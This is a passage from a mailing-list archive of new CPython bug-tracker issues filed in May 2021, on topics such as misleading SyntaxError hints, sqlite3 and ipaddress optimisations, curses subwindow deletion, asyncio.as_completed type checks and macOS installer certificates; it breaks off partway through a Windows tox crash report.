<https://bugs.python.org/issue44163>
_______________________________________

From report at bugs.python.org  Mon May 17 20:05:54 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Tue, 18 May 2021 00:05:54 +0000
Subject: [New-bugs-announce] [issue44164] Document what are resources in
 importlib.resources
Message-ID: <1621296354.19.0.00786945584157.issue44164@roundup.psfhosted.org>


New submission from Filipe La?ns <lains at riseup.net>:

It would be good to explain what constitutes a resource in the importlib.resources documentation.

As per the current implementation, they should be defined as arbitrary files contained in the package. Is this correct?

----------
assignee: docs at python
components: Documentation
messages: 393849
nosy: FFY00, docs at python, jaraco
priority: normal
severity: normal
status: open
title: Document what are resources in importlib.resources
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44164>
_______________________________________

From report at bugs.python.org  Tue May 18 03:23:06 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Tue, 18 May 2021 07:23:06 +0000
Subject: [New-bugs-announce] [issue44165] [sqlite3] sqlite3_prepare_v2 micro
 optimisation: pass string size
Message-ID: <1621322586.94.0.0941368133746.issue44165@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

The signature of sqlite3_prepare_v2 is as follows:
int sqlite3_prepare_v2(
  sqlite3 *db,            /* Database handle */
  const char *zSql,       /* SQL statement, UTF-8 encoded */
  int nByte,              /* Maximum length of zSql in bytes. */
  sqlite3_stmt **ppStmt,  /* OUT: Statement handle */
  const char **pzTail     /* OUT: Pointer to unused portion of zSql */
);


Quoting from the SQLite docs[1]:
"If the caller knows that the supplied string is nul-terminated, then there is a small performance advantage to passing an nByte parameter that is the number of bytes in the input string including the nul-terminator."


sqlite3_prepare_v2 is used five places in the sqlite3 module. We can easily provide the string size in those places.



[1] https://sqlite.org/c3ref/prepare.html

----------
components: Extension Modules
messages: 393856
nosy: berker.peksag, erlendaasland, serhiy.storchaka
priority: low
severity: normal
status: open
title: [sqlite3] sqlite3_prepare_v2 micro optimisation: pass string size
type: performance
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44165>
_______________________________________

From report at bugs.python.org  Tue May 18 03:33:39 2021
From: report at bugs.python.org (Miguel Brito)
Date: Tue, 18 May 2021 07:33:39 +0000
Subject: [New-bugs-announce] [issue44166] Make IndexError messages for list
 more informative
Message-ID: <1621323219.05.0.0543571942932.issue44166@roundup.psfhosted.org>


New submission from Miguel Brito <miguel.mdebrito at gmail.com>:

I've noticed that in people will often ask for help on forums or stackoverflow to better understand the causes of
IndexErrors [1][2][3].
> The error message line for an IndexError doesn?t give you great information.[1]

Currently, when we access a out of bounds position we get something along the lines:
Traceback (most recent call last):

>>> a = [0, 10, 20, 30, 40]
>>> a[5]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list index out of range
>>> a.pop(6)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: pop index out of range
>>> a[6] = 7
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list assignment index out of range
>>> a = []
>>> a[2]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list index out of range


These error messages are too broad and doesn't inform the current length of the list, nor the index that was fed to it.

To improve the debugging experience in both interactive and non-interactive code,
I propose to offer a richer and more informative error messages. I think this can help users, especially newer and less
experienced folks, debug their code.


>>> a = [0, 10, 20, 30, 40]
>>> a[5]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list index out of range, the len is 5 so index must be in -5..4, got 5
>>> a[-6]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list index out of range, the len is 5 so index must be in -5..4, got -6
>>> a.pop(6)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: pop index out of range, the len is 5 so index must be in -5..4, got 6
>>> a[6] = 7
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list assignment index out of range, the len is 5 so index must be in -5..4, got 6
>>> a = []
>>> a[2] = 0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list assignment index out of range, got index 2 but the list is empty


These proposed messages are inspired by other languages, with the difference that in Python we can have negative index.
So informing the allowed ranges is a plus.

These improvements are not restricted to list, so it can be applied to strings and tuples as well, or any other indexable
object.

I have a branch ready, looking forward to hearing from you!

[1] https://stackoverflow.com/questions/1098643/indexerror-list-index-out-of-range-and-python
[2] https://stackoverflow.com/questions/16005707/index-error-list-index-out-of-range-python
[3] https://realpython.com/python-traceback/#indexerror

----------
components: Interpreter Core
messages: 393858
nosy: miguendes
priority: normal
severity: normal
status: open
title: Make IndexError messages for list more informative
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44166>
_______________________________________

From report at bugs.python.org  Tue May 18 05:07:36 2021
From: report at bugs.python.org (Martijn Pieters)
Date: Tue, 18 May 2021 09:07:36 +0000
Subject: [New-bugs-announce] [issue44167] ipaddress.IPv6Address.is_private
 makes redundant checks
Message-ID: <1621328856.79.0.268631804552.issue44167@roundup.psfhosted.org>


New submission from Martijn Pieters <mj at python.org>:

ipaddress.IPv6Address.is_private uses a hard-coded list of `IPv6Network` objects that cover private networks to test against.

This list contains two networks that are subnets of a 3rd network in the list. IP addresses that are not private are tested against all 3 networks where only a single test is needed.

The networks in question are:

        IPv6Network('2001::/23'),
        IPv6Network('2001:2::/48'),  # within 2001::/23
        ...
        IPv6Network('2001:10::/28'), # within 2001::/23

The first is a supernet of the other two, so any IP address that is tested against the first and is not part of that network, will also not be part of the other two networks:

>>> from ipaddress import IPv6Network
>>> sub_tla_id = IPv6Network('2001::/23')
>>> sub_tla_id.supernet_of(IPv6Network('2001:2::/48'))
True
>>> sub_tla_id.supernet_of(IPv6Network('2001:10::/28'))
True

We can safely drop these two network entries from the list.

On a separate note: the definition here is inconsistent with IPv4Address's list of private networks. 2001::/23 is the whole subnet reserved for special purpose addresses (RFC 2928), regardless of what ranges have actually been assigned. The IPv4 list on the other hand only contains _actual assignments within the reserved subnet_, not the whole reserved block (RFC 5736 / RFC 6890, reserving 192.0.0.0/24, IPv4Address only considers 192.0.0.0/29 and 192.0.0.170/31). I'll file a separate issue for that if not already reported.

----------
components: Library (Lib)
messages: 393860
nosy: mjpieters
priority: normal
severity: normal
status: open
title: ipaddress.IPv6Address.is_private makes redundant checks
type: performance
versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44167>
_______________________________________

From report at bugs.python.org  Tue May 18 05:49:58 2021
From: report at bugs.python.org (Gerrit Holl)
Date: Tue, 18 May 2021 09:49:58 +0000
Subject: [New-bugs-announce] [issue44168] Wrong syntax error hint when
 spurious colon present in function keyword comprehension assignment
Message-ID: <1621331398.13.0.330386764302.issue44168@roundup.psfhosted.org>


New submission from Gerrit Holl <gerrit.holl at gmail.com>:

In Python 3.9.4, in a function call, when assigning a comprehension to a keyword argument, and the comprehension contains a spurious colon (if a list or set comprehension) or a missing value (when a dict comprehension), the syntax error message gives a hint that incorrectly suggests that the expression cannot contain an assignment:

$ python
Python 3.9.4 | packaged by conda-forge | (default, May 10 2021, 22:13:33)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> f(a={x: for x in {}})
  File "<stdin>", line 1
    f(a={x: for x in {}})
      ^
SyntaxError: expression cannot contain assignment, perhaps you meant "=="?

I certainly didn't mean "==" here.  The syntax is correct if I either remove the :, or add a value after the :, such as:

>>> f(a={x:x for x in {}})
>>> f(a={x for x in {}})

(correct syntax, succeeds if f is defined).

The problem here has nothing to do with assignments being in the wrong place, so the message reported by cpython is incorrect.

In Python 3.8.10 Python simply and correctly states that the syntax is incorrect:

>>> f(a={x: for x in {}})
  File "<stdin>", line 1
    f(a={x: for x in {}})
            ^
SyntaxError: invalid syntax

I have not tried Python 3.10b1.

----------
components: Parser
messages: 393865
nosy: Gerrit.Holl, lys.nikolaou, pablogsal
priority: normal
severity: normal
status: open
title: Wrong syntax error hint when spurious colon present in function keyword comprehension assignment
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44168>
_______________________________________

From report at bugs.python.org  Tue May 18 06:22:38 2021
From: report at bugs.python.org (Fred)
Date: Tue, 18 May 2021 10:22:38 +0000
Subject: [New-bugs-announce] [issue44169] Add HTTPS support to http.server
Message-ID: <1621333358.88.0.804428492297.issue44169@roundup.psfhosted.org>


New submission from Fred <eldmannen at gmail.com>:

The http.server module only supports HTTP.
https://docs.python.org/3/library/http.server.html

I propose that it should also support HTTPS.

This would allow it to serve files that depend on features that are restricted to secure contexts.
https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts/features_restricted_to_secure_contexts

----------
components: Library (Lib)
messages: 393867
nosy: Fred
priority: normal
severity: normal
status: open
title: Add HTTPS support to http.server
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44169>
_______________________________________

From report at bugs.python.org  Tue May 18 07:12:09 2021
From: report at bugs.python.org (Huw Jones)
Date: Tue, 18 May 2021 11:12:09 +0000
Subject: [New-bugs-announce] [issue44170] ShareableList cannot safely handle
 multibyte utf-8 characters
Message-ID: <1621336329.38.0.49764469303.issue44170@roundup.psfhosted.org>


New submission from Huw Jones <huw at huwcbjones.co.uk>:

I've experienced a UnicodeDecodeError when adding unicode strings that contain multibye utf-8 characters into a shareable list.
My observation is that ShareableList chunks the list of strings before sending it over the process boundary, however this chunking process is not multibyte aware and will chunk in the middle of multibyte characters.
On the other end, this results in the ShareableList throwing a UnicodeDecodeError when it fails to decode not-a-full multibyte utf-8 character.

>From running the attached MWE, I see that the string is sent in two chunks, the first being b'Boom \xf0\x9f\x92\xa5 \xf0\x9f\x92\xa5 \xf0' which clearly splits the 4 bytes of the ? character into the first byte and remaining 3 bytes.

----------
components: Library (Lib)
files: shareablelist_mwe.py
messages: 393868
nosy: huwcbjones
priority: normal
severity: normal
status: open
title: ShareableList cannot safely handle multibyte utf-8 characters
type: crash
versions: Python 3.8
Added file: https://bugs.python.org/file50049/shareablelist_mwe.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44170>
_______________________________________

From report at bugs.python.org  Tue May 18 10:44:09 2021
From: report at bugs.python.org (Yao Zhang)
Date: Tue, 18 May 2021 14:44:09 +0000
Subject: [New-bugs-announce] [issue44171] Cython cannot compile 'a = 5/6'
 and return 'a = 0'
Message-ID: <1621349049.49.0.119082983225.issue44171@roundup.psfhosted.org>


Change by Yao Zhang <792641209 at qq.com>:


----------
components: Parser
nosy: lys.nikolaou, pablogsal, zz792641209
priority: normal
severity: normal
status: open
title: Cython cannot compile 'a = 5/6' and return 'a = 0'
type: compile error
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44171>
_______________________________________

From report at bugs.python.org  Tue May 18 22:08:10 2021
From: report at bugs.python.org (Michael Forney)
Date: Wed, 19 May 2021 02:08:10 +0000
Subject: [New-bugs-announce] [issue44172] curses module may call delwin() on
 original window before subwindows
Message-ID: <1621390090.86.0.52375337548.issue44172@roundup.psfhosted.org>


New submission from Michael Forney <mforney at mforney.org>:

When subwin() is used to create a subwindow for an original window, it does not keep a reference to the original window object. This can result in the original window getting deleted with delwin() before the subwindow.

According to the X/Open curses specification[0]:
> The application must delete subwindows before deleting the main window.

This is also mentioned in the ncurses documentation[1]:
> Subwindows must be deleted before the main window can be deleted.

When building the Python curses module against NetBSD's curses implementation, deleting the windows in the wrong order causes a double-free. This results in hanging or crashing when running test_curses.

To fix this, window objects for subwindows should keep a reference to the original window object.

[0] https://pubs.opengroup.org/onlinepubs/7908799/xcurses/delwin.html
[1] https://invisible-island.net/ncurses/man/curs_window.3x.html

----------
components: Extension Modules
messages: 393916
nosy: michaelforney
priority: normal
severity: normal
status: open
title: curses module may call delwin() on original window before subwindows
type: crash
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44172>
_______________________________________

From report at bugs.python.org  Tue May 18 22:28:39 2021
From: report at bugs.python.org (JuniorJPDJ)
Date: Wed, 19 May 2021 02:28:39 +0000
Subject: [New-bugs-announce] [issue44173] Stored (uncompressed) ZipExtFile
 in zipfile can be seekable at lower cost
Message-ID: <1621391319.87.0.895694633998.issue44173@roundup.psfhosted.org>


New submission from JuniorJPDJ <bugs.python.org at juniorjpdj.pl>:

At the moment stored ZipExtFile is being read to the place of seek like all other compressed variants.
It's not needed as it's possible to freely seek uncompressed file inside zip without this penalty.

Lots of apps depend on ZipExtFile seeking ability and it would lower performance and IO penalty significantly.

I've POC patch created.
It disables CRC checking after first seek as it's impossible to check CRC if we are not reading whole file.

----------
components: Library (Lib)
messages: 393918
nosy: juniorjpdj
priority: normal
severity: normal
status: open
title: Stored (uncompressed) ZipExtFile in zipfile can be seekable at lower cost
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44173>
_______________________________________

From report at bugs.python.org  Tue May 18 23:27:49 2021
From: report at bugs.python.org (Gregory P. Smith)
Date: Wed, 19 May 2021 03:27:49 +0000
Subject: [New-bugs-announce] [issue44174] Unclear meaning of _Private__names
 in enum docs.
Message-ID: <1621394869.98.0.78361930377.issue44174@roundup.psfhosted.org>


New submission from Gregory P. Smith <greg at krypto.org>:

https://docs.python.org/3/library/enum.html#private-names

"""
_Private__names

Private names will be normal attributes in Python 3.10 instead of either an error or a member (depending on if the name ends with an underscore). Using these names in 3.9 will issue a DeprecationWarning.
"""

It isn't clear from this documentation what is meant by "private names".  Please expand on this to be explicit about what name pattern is being described.

----------
assignee: docs at python
components: Documentation
messages: 393919
nosy: docs at python, gregory.p.smith
priority: normal
severity: normal
stage: needs patch
status: open
title: Unclear meaning of _Private__names in enum docs.
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44174>
_______________________________________

From report at bugs.python.org  Tue May 18 23:45:40 2021
From: report at bugs.python.org (Isaac Ge)
Date: Wed, 19 May 2021 03:45:40 +0000
Subject: [New-bugs-announce] [issue44175] What does "cased" and "uncased"
 mean?
Message-ID: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org>


New submission from Isaac Ge <otakutyrant at gmail.com>:

str.istitle(): Return True if the string is a titlecased string and there is at least one character, for example uppercase characters may only follow uncased characters and lowercase characters only cased ones. Return False otherwise.

I saw this description from the doc. But what does "cased" andd "uncased" mean? I looked it up on a dictionary, and the latter only says: "cased in something: completely covered with a particular material".

I think "cased" may be "capitalized", but, if so, the usage of the former is not endorsed by dictionaries so that I think this word is confusing or informal. so does "uncased".

----------
assignee: docs at python
components: Documentation
messages: 393920
nosy: docs at python, otakutyrant
priority: normal
severity: normal
status: open
title: What does "cased" and "uncased" mean?
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44175>
_______________________________________

From report at bugs.python.org  Wed May 19 01:04:33 2021
From: report at bugs.python.org (Alex DeLorenzo)
Date: Wed, 19 May 2021 05:04:33 +0000
Subject: [New-bugs-announce] [issue44176] asyncio.as_completed() raises
 TypeError when the first supplied parameter is a generator that yields
 awaitables
Message-ID: <1621400673.2.0.925525121843.issue44176@roundup.psfhosted.org>


New submission from Alex DeLorenzo <alex.delorenzo at gmail.com>:

According to the documentation, asyncio.as_completed() takes a positional argument, aws, as an iterable of awaitables[1]:

    asyncio.as_completed(aws, *, loop=None, timeout=None)
      Run awaitable objects in the aws iterable concurrently.

As seen in the attached as_completed_gen.py file, built-in containers like lists, and iterators over them, are accepted by as_completed() as the first parameter without raising an error.

However, as_completed() raises TypeError if it is called with an iterable of awaitables that is also a generator. There are examples of this behavior in as_completed_gen.py, but here is a short example using a generator expression in the main() coroutine function:

    from asyncio import run, as_completed
    
    async def example(): pass
    
    async def main():
      coros = (example() for _ in range(10))
    
      for coro in as_completed(coros):  # raises TypeError
        await coro
    
    run(main())

Running that example will raise a TypeError with this message:

    TypeError: expect an iterable of futures, not generator


If we look at the first line in the body of as_completed(), we can see why this error is thrown for generators that yield awaitables:

    def as_completed(fs, *, loop=None, timeout=None):
      if futures.isfuture(fs) or coroutines.iscoroutine(fs):
        raise TypeError(f"expect an iterable of futures, not {type(fs).__name__}")
      ...


Because generators are coroutines, and the first condition in as_completed() is True, and TypeError gets raised:

    from asyncio import coroutines

    # generators and generator expressions are coroutines
    assert coroutines.iscoroutine(example() for _ in range(10))


Perhaps as_completed() can use inspect.isawaitable() instead, like so:

    from inspect import isawaitable

    def as_completed(fs, *, loop=None, timeout=None):
      if futures.isfuture(fs) or isawaitable(fs):
        ...

I made a pull request with that change here[2].


[1] https://docs.python.org/3/library/asyncio-task.html#asyncio.as_completed

[2] https://github.com/python/cpython/pull/26228

----------
components: asyncio
files: as_completed_gen.py
messages: 393923
nosy: alexdelorenzo, asvetlov, yselivanov
priority: normal
pull_requests: 24845
severity: normal
status: open
title: asyncio.as_completed() raises TypeError when the first supplied parameter is a generator that yields awaitables
versions: Python 3.10, Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file50052/as_completed_gen.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44176>
_______________________________________

From report at bugs.python.org  Wed May 19 05:49:02 2021
From: report at bugs.python.org (Bikram Singh Mehra)
Date: Wed, 19 May 2021 09:49:02 +0000
Subject: [New-bugs-announce] [issue44177] Unable to get the else while
 parsing through AST module
Message-ID: <1621417742.65.0.783924257321.issue44177@roundup.psfhosted.org>


New submission from Bikram Singh Mehra <bikrammehra97 at gmail.com>:

Hi Team,

I was parsing python file using AST module but ran into a situation where the else statement is not found in the parsed data.

---------------------
Module used is: ast
---------------------

In the parsed data I can see "if" followed by "elif" but the "else" part I am not able to see.

Sample code used:
---------------------
sample_data = """
if num > 0:
    print("Positive number")
elif num == 0:
    print("Zero")
else:
    print("Negative number")
"""
---------------------

tree = ast.parse(sample_data )

The above code provide me below data in ast.dump(tree)

Module(body=[If(test=Compare(left=Name(id='num', ctx=Load()), ops=[Gt()], comparators=[Constant(value=0, kind=None)]), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Positive number', kind=None)], keywords=[]))], orelse=[If(test=Compare(left=Name(id='num', ctx=Load()), ops=[Eq()], comparators=[Constant(value=0, kind=None)]), body=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Zero', kind=None)], keywords=[]))], orelse=[Expr(value=Call(func=Name(id='print', ctx=Load()), args=[Constant(value='Negative number', kind=None)], keywords=[]))])])], type_ignores=[])

While I was traversing through this tree I can't see else in the structure because it is subpart of orelse i.e. inside elif part.


Doc referred is : https://docs.python.org/3/library/ast.html
 

Thanks and Best Regards,
Bikram

----------
components: Parser
messages: 393941
nosy: bikrammehra97, lys.nikolaou, pablogsal
priority: normal
severity: normal
status: open
title: Unable to get the else while parsing through AST module
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44177>
_______________________________________

From report at bugs.python.org  Wed May 19 08:18:33 2021
From: report at bugs.python.org (Xavier Morel)
Date: Wed, 19 May 2021 12:18:33 +0000
Subject: [New-bugs-announce] [issue44178] Add an interpreter-level critical
 section construct
Message-ID: <1621426713.21.0.828685128868.issue44178@roundup.psfhosted.org>


New submission from Xavier Morel <xavier.morel at masklinn.net>:

Python code uses a fair amount of globals, and sometimes there's no good choice but to do dodgy things and temporarily update global state for one reason or another e.g. redirect a standard fd or stream (cf redirect_stdout), monkey-patch a builtin to intercept some behaviour, etc...

One issue with this is, if the program is multithreaded there is no real way to prevent the interpreter from suspending the current thread *while doing the dodgy thing*. The only interpreter-level global lock would be the GIL, and while native extension can just not release the GIL this is not an option for Python code (as far as I know).

`sys` does provide getswitchinterval()/setswitchinterval() (and under the old GIL had getcheckinterval()/setcheckinterval()), but the semantics of these functions is a bit obscure (e.g. does `sys.setcheckinterval` update the *current* time slice os is the current thread doomed? can it fail? what happens if it does?) and they feel extremely uncomfortable.

As such, having a context manager which would explicitly but only prevent thread switching while it's held would be valuable. Assuming `setswitchinginterval` operates on the "current" timeslice, this would not provide any more misbehaving powers as any code can already call `sys.setswitchinterval(sys.maxsize)` (unless there are already mitigation systems in-place), and the contextmanager could just do that internally if that is the "correct" way to prevent thread switching under the current scheme.

The one thing which is not great is that this scheme might not really work under GILectomy, but then neither does switchinterval I think.

----------
components: Interpreter Core
messages: 393951
nosy: xmorel
priority: normal
severity: normal
status: open
title: Add an interpreter-level critical section construct
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44178>
_______________________________________

From report at bugs.python.org  Wed May 19 08:22:46 2021
From: report at bugs.python.org (liaoliaoxiansheng)
Date: Wed, 19 May 2021 12:22:46 +0000
Subject: [New-bugs-announce] =?utf-8?b?W2lzc3VlNDQxNzldIHB5dGhvbjMg57uI?=
 =?utf-8?b?56uvIHJhbmdl5Ye95pWw5pi+56S66ZSZ6K+v?=
Message-ID: <1621426966.53.0.562185354659.issue44179@roundup.psfhosted.org>


New submission from liaoliaoxiansheng <1041585384 at qq.com>:

[root at ct7-2 bin]# cat /etc/redhat-release 
CentOS Linux release 7.9.2009 (Core)
[root at ct7-2 bin]# python2
Python 2.7.5 (default, Nov 16 2020, 22:23:17) 
[GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> range(5, 10)
[5, 6, 7, 8, 9]
>>> range(0, 10, 3)
[0, 3, 6, 9]
>>> range(-10, -100, -30)
[-10, -40, -70]
>>> 
[root at ct7-2 bin]# python3
Python 3.9.5 (default, May 19 2021, 19:38:48) 
[GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> range(5, 10)
range(5, 10)
>>> range(0, 10, 3)
range(0, 10, 3)
>>> range(-10, -100, -30)
range(-10, -100, -30)

----------
assignee: docs at python
components: Documentation
messages: 393952
nosy: docs at python, happy789450
priority: normal
severity: normal
status: open
title: python3 ?? range??????
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44179>
_______________________________________

From report at bugs.python.org  Wed May 19 14:38:05 2021
From: report at bugs.python.org (Andre Roberge)
Date: Wed, 19 May 2021 18:38:05 +0000
Subject: [New-bugs-announce] [issue44180] SyntaxError misidentified in
 3.10.0b1 when = used instead of : in dict literal
Message-ID: <1621449485.2.0.442417390344.issue44180@roundup.psfhosted.org>


New submission from Andre Roberge <andre.roberge at gmail.com>:

When an equal sign is used instead of a colon in creating a dict literal, depending on the context, either the "bad token" is misidentified OR the would-be helpful error message is incorrect in this particular case.

1) Example of bad token.
Previously, the = sign was identified correctly:

>>> ages = {'Alice'=22, 'Bob'=23}
  File "<stdin>", line 1
    ages = {'Alice'=22, 'Bob'=23}
                   ^
SyntaxError: invalid syntax

With Python 3.10.0b1, the comma is identified as the bad token:

>>> ages = {'Alice'=22, 'Bob'=23}
  File "<stdin>", line 1
    ages = {'Alice'=22, 'Bob'=23}
                      ^
SyntaxError: invalid syntax


2) Example of incorrect error message

Previously, we got the traditional and unhelpful "invalid syntax" but with the bad token identified correctly:

>>> ages = {'Alice'=22}
  File "<stdin>", line 1
    ages = {'Alice'=22}
                   ^
SyntaxError: invalid syntax

With Python 3.10.0b1, we get the following:

>>> ages = {'Alice'=22}
  File "<stdin>", line 1
    ages = {'Alice'=22}
            ^^^^^^^
SyntaxError: cannot assign to literal here. Maybe you meant '==' instead of '='?

I suspect that the ratio (== suggestion correct/ : suggestion correct) would be vanishingly small. ;-)

----------
components: Parser
messages: 393964
nosy: aroberge, lys.nikolaou, pablogsal
priority: normal
severity: normal
status: open
title: SyntaxError misidentified in 3.10.0b1 when = used instead of : in dict literal
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44180>
_______________________________________

From report at bugs.python.org  Wed May 19 17:22:04 2021
From: report at bugs.python.org (Andre Roberge)
Date: Wed, 19 May 2021 21:22:04 +0000
Subject: [New-bugs-announce] [issue44181] SyntaxError in Python 3.10.0b1:
 wrong token for missing comma
Message-ID: <1621459324.97.0.279121411647.issue44181@roundup.psfhosted.org>


New submission from Andre Roberge <andre.roberge at gmail.com>:

When forgetting a comma in writing a dict literal spanning multiple lines,
the "bad token" is wrongly idenfied with Python 3.10.0b1.

>>> a = {'a': 1
...      'b': 2
  File "<stdin>", line 1
    a = {'a': 1
              ^
SyntaxError: invalid syntax. Perhaps you forgot a comma?


Previously, this was shown:

>>> a = {'a': 1
...      'b': 2
  File "<stdin>", line 2
    'b': 2
    ^
SyntaxError: invalid syntax

However, I hasten to add that the new hint about a missing comma is spot on,
and likely to be extremely useful.

Note: this is based on my "intuition" built from previous version where the token identified by ^
was the first token that the Python parser was not able to make sense of.
Now that the parser highlight a range (if relevant tokens are on a single line),
it makes sense to include tokens preceding the "bad token".
However, when we have an error where such range
spans multiple lines, it can create "problems" such as that shown above.

Perhaps this is not worth attempting to fix and Python programmers like me will have to develop a "new intuition" in such cases (and "fix" friendly so that it can figure out the correct "bad token"
independently of cPython's information)
... and this bug report can be simply closed.

----------
components: Parser
messages: 393976
nosy: aroberge, lys.nikolaou, pablogsal
priority: normal
severity: normal
status: open
title: SyntaxError in Python 3.10.0b1: wrong token for missing comma
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44181>
_______________________________________

From report at bugs.python.org  Wed May 19 19:12:10 2021
From: report at bugs.python.org (Todd C. Miller)
Date: Wed, 19 May 2021 23:12:10 +0000
Subject: [New-bugs-announce] [issue44182] python-config.sh vs
 python-config.py inconsistency
Message-ID: <1621465930.28.0.548981352834.issue44182@roundup.psfhosted.org>


New submission from Todd C. Miller <todd.miller at sudo.ws>:

There is an inconsistency between python-config.py and python-config.sh with the output of --ldflags.  The .sh version include -L$libdir but the .py version does not include the -L flag unless a non-shared version of Python is built.

As a result, on Darwin (macOS), where python-config.py is used it is not possible to use python-config to get the correct linker flags when "python-config --embed --ldflags" is run if Python is installed in a directory with a lib dir that is not in the compiler's default search path.

For example, if Python is installed in /usr/local/python, we see the following on Linux (using python-config.sh):

$ python3-config --ldflags --embed
 -L/usr/local/python/lib -lpython3.10 -lcrypt -lpthread -ldl  -lutil -lm -lm

But on macOS, using python-config.py:

$ python3-config --ldflags --embed
-lpython3.10 -lintl -ldl -framework CoreFoundation

There is no -L flag to tell the compiler where to find the python3.10 library, so an attempt to link with it will fail.

----------
components: Installation
messages: 393985
nosy: millert
priority: normal
severity: normal
status: open
title: python-config.sh vs python-config.py inconsistency
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44182>
_______________________________________

From report at bugs.python.org  Wed May 19 23:04:07 2021
From: report at bugs.python.org (Joseph Trask Still)
Date: Thu, 20 May 2021 03:04:07 +0000
Subject: [New-bugs-announce] [issue44183] Can't install certificates if GUI
 tools are not installed on macOS
Message-ID: <1621479847.79.0.193086544632.issue44183@roundup.psfhosted.org>


New submission from Joseph Trask Still <thetechconspiracy at outlook.com>:

This issue occurs on my M1 MacBook Pro running macOS 11.3.1.
Steps to reproduce:
1. Open the Python installation package
2. When asked where to install the package, click "Customize" at the bottom of the dialog
3. Uncheck the GUI Tools option
4. Proceed through the installation as normal
5. At the conclusion of the installation, when offered to install certificates, click either the Finder link, or the link to the ReadMe.  The system will play the error sound, and nothing will open.

The issue appears to occur due to the fact the Python 3.9 folder is not created in Applications if the GUI Tools are not installed.

----------
components: Installation
messages: 393998
nosy: thetechconspiracy
priority: normal
severity: normal
status: open
title: Can't install certificates if GUI tools are not installed on macOS
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44183>
_______________________________________

From report at bugs.python.org  Wed May 19 23:24:15 2021
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 20 May 2021 03:24:15 +0000
Subject: [New-bugs-announce] [issue44184] crash on windows invoking flake8
 under tox
Message-ID: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

I installed python using the installers from python.org -- I originally reproduced this using github actions using pyflakes's testsuite

>ver

Microsoft Windows [Version 10.0.19041.985]

>venv\Scripts\python --version
Python 3.10.0b1

C:\Users\asott\AppData\Local\Temp\y\pyflakes>venv\Scripts\python --version --version
Python 3.10.0b1 (tags/v3.10.0b1:ba42175, May  3 2021, 20:22:30) [MSC v.1928 64 bit (AMD64)]

to reproduce:

```
git clone https://github.com/pycqa/pyflakes
cd pyflakes
git checkout b02ba019e16f7c156ec63c2ea05c627a0fe86c48
```

# install tox somehow
```
C:\python310\python -m venv venv
venv\Scripts\pip install tox
```

here are the versions I have at that point:

```
>venv\Scripts\pip freeze --all
appdirs==1.4.4
colorama==0.4.4
distlib==0.3.1
filelock==3.0.12
packaging==20.9
pip==21.1.1
pluggy==0.13.1
py==1.10.0
pyparsing==2.4.7
setuptools==56.0.0
six==1.16.0
toml==0.10.2
tox==3.23.1
virtualenv==20.4.6
```

then run this a few times:

`venv\Scripts\tox -e py310`

even with `setenv = PYTHONFAULTHANDLER=1` I couldn't get a trace, though maybe that's a linux thing?

it occasionally crashes like this:

```
py310 run-test: commands[2] | flake8 pyflakes setup.py
